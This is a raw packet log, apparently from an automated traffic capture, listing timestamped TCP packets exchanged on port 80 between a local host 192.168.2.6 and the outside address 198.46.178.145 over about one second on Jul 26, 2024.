Jul 26, 2024 11:27:04.824798107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824820042 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824831963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824855089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824862003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824887991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.824899912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.824964046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.825539112 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.825571060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.825603962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.825637102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.825675964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.825675964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.825675964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.825675964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.860193968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.860244989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.860271931 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.860281944 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.860289097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.860326052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.909518003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909538984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909550905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909640074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.909688950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909734964 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.909856081 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909867048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909878969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909887075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.909923077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.909960985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.910490036 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.910501957 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.910512924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.910525084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.910541058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.910581112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.911273003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911283970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911294937 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911304951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911317110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911326885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911329031 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.911339045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911358118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.911401987 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.911602974 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.911642075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.912676096 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912688017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912698984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912709951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912720919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912727118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912725925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.912738085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912748098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912756920 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.912759066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912770987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912781954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912792921 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912797928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.912830114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.912830114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.912830114 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.912863970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.913583040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913597107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913606882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913619041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913630009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913639069 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.913640976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913652897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913665056 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.913674116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.913702965 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.914918900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.914932013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.914942026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.914953947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.914964914 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.914975882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.914983034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.914988041 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.914999962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915002108 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.915016890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.915052891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.915342093 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915354013 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915364027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915375948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915384054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.915386915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915397882 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915405035 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.915409088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915421009 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.915436983 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.915467978 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.916373968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.916402102 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.916423082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.916428089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.916450024 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.916455984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.916472912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.916497946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.916500092 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.916527987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.916546106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.916554928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.916574955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.916596889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917104959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917131901 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917155027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917156935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917177916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917184114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917196989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917208910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917222977 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917234898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917254925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917260885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917282104 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917288065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917304039 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917314053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917331934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917340040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.917355061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.917383909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918023109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918050051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918071032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918075085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918092966 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918101072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918113947 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918127060 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918143988 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918152094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918164968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918178082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918195009 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918204069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918224096 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918230057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918245077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918301105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.918318033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.918342113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919636965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919663906 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919687033 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919689894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919707060 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919715881 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919728994 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919740915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919758081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919768095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919780016 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919814110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919819117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919841051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919858932 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919884920 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919894934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919938087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919945002 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919971943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.919991970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.919998884 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920013905 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920025110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920042038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920051098 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920066118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920078039 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920095921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920104027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920120955 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920130968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920149088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920157909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920173883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920183897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920211077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:04.920212030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920217991 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:04.920253038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000462055 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000543118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000602007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000648975 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000654936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000689030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000699043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000710011 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000725031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000727892 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000740051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000754118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000756025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000776052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000787973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000900984 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000916004 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000926971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.000936985 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.000967026 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.001275063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001286983 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001297951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001310110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001313925 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.001321077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001332998 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001343012 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.001343966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001357079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.001370907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.001390934 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003226995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003238916 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003248930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003259897 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003269911 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003274918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003281116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003292084 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003294945 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003300905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003304958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003313065 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003323078 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003334045 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003338099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003343105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003354073 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003364086 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003364086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003375053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003385067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003386021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003396988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003412008 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003429890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.003976107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003988028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.003998995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004009962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004018068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.004019976 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004030943 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004034042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.004041910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004053116 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004060984 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.004064083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004095078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.004923105 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004935026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004945040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004956961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004967928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004973888 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.004978895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.004988909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.004988909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005002022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005007982 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.005012989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005026102 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.005053043 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.005848885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005861044 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005871058 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005882025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005892038 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005901098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.005902052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005913019 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005920887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.005923986 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005934954 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.005942106 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.005954027 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.005976915 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.006731987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006743908 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006753922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006764889 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006776094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006787062 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006787062 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.006798029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006808996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006819010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.006822109 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.006851912 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.006866932 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007541895 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007560968 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007591963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007603884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007740021 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007750988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007761955 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007771969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007776022 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007782936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007795095 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007802963 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007807016 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007817030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007828951 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007833958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007839918 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007850885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:05.007858038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007873058 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.007886887 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:05.008670092 CEST	80	49741	198.46.178.145	192.168.2.6
